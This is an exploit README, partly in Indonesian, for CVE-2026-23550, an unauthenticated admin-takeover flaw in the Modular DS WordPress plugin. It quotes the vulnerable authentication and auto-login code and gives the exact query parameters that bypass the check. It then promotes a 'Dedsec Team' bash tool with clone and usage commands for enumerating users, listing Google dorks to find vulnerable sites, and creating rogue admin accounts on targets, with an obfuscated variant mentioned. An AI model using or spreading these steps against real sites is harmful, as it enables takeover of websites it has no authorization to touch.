CVE-2026-23550

Modular DS <=2.5.1 - Unauthenticated Admin Takeover

CVE ID: CVE-2026-23550 CVSS Score: 10.0 (CRITICAL) Affected Plugin: Modular DS WordPress Plugin Affected Versions: All versions up to and including 2.5.1 Patched Version: 2.5.2 (released January 14, 2026) Active Exploitation: Confirmed in the wild since January 13, 2026

Plugin ini mengekspos rute API-nya di bawah prefiks /api/modular-connector/. Rute-rute ini dikelompokkan di belakang middleware autentikasi di RouteServiceProvider.php. Namun, autentikasi bisa dilewati menggunakan metode isDirectRequest() yang cacat.

Kode rentan dari HttpUtils.php:

public static function isDirectRequest(): bool
{
    $request = \Modular\ConnectorDependencies\app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
    
    // When is wp-load.php request
    if ($isFromQuery) {
        return \true;
    }
    
    return \false;
}

Cara bypass-nya sangat sepele: cukup sertakan parameter origin=mo&type=anything dalam permintaan. Tidak ada verifikasi tanda tangan, rahasia, IP, atau User-Agent wajib – parameter-parameter ini saja sudah cukup membuat request dianggap sebagai Modular direct request

Setelah request dianggap "direct", middleware autentikasi di ModularGuard.php hanya mengecek apakah situs terhubung ke Modular melalui validateOrRenewAccessToken(). Tidak ada tautan kriptografis antara permintaan masuk dan Modular itu sendiri.

Rute yang Terbuka Dengan autentikasi berhasil dilewati, penyerang bisa mengakses:

/login/{modular_request} – login jarak jauh (akses admin)

/server-information – data sistem sensitif

/users/{modular_request} – enumerasi user

/backup/* – backup situs

/cache/clear – bersihkan cache

/manager/* – fungsi manajemen

/woocommerce/{modular_request} – statistik WooCommerce

Rute Login Paling Kritis

public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();  // FALLBACK KE ADMIN MANAPUN
    } else {
        Cache::driver('wordpress')->forever('user.login', $user->ID);
    }

    if (empty($user)) {
        throw new \Exception('No admin user detected.');
    }

    $cookies = ServerSetup::loginAs($user, true);  // AUTO-LOGIN

    return Response::redirectTo(admin_url('index.php'))
        ->withCookies($cookies);
}

Jika tidak ada ID user di body request, kode akan mencari admin mana pun yang ada (getAdminUser()) dan langsung login.

Author: (Dedsec Team)
Description: A powerful bash script for WordPress user enumeration and automated admin account creation. Built for educational purposes and authorized security testing only.

🚀 Features

• User Enumeration – Discovers WordPress usernames by cycling through author IDs (/?author=1, /?author=2, etc.)
• Google Dork Display – Shows useful Google dorks to find vulnerable WordPress sites (optional)
• Exploit Mode – Attempts to create a new administrative user on the target (requires a vulnerable plugin/theme or specific CVE)
• Clean Output – Color-coded console feedback for easy reading

📦 Requirements

• Bash 4+
• curl (for HTTP requests)
• base64 (if you're using the obfuscated version, hehe)

🔧 Installation

git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh

Usage

./CVE-2026-23550.sh [options] <target_url>

1. Enumerate users on a target ./CVE-2026-23550.sh -e -t http://targetsite.com
2. Enumerate and then create an admin user ./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!
3. Just show Google dorks ./CVE-2026-23550.sh -d